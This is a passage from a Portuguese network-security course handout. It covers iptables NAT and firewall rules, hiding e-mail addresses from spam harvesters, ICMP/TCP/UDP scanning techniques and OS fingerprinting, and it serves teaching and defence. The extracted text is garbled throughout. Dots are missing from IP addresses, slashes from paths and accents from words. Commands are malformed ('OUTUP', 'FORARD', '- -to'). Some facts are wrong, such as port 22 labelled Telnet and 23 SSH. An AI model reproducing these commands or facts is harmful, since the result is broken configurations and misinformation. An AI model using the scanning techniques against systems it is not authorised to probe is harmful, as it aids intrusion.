Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

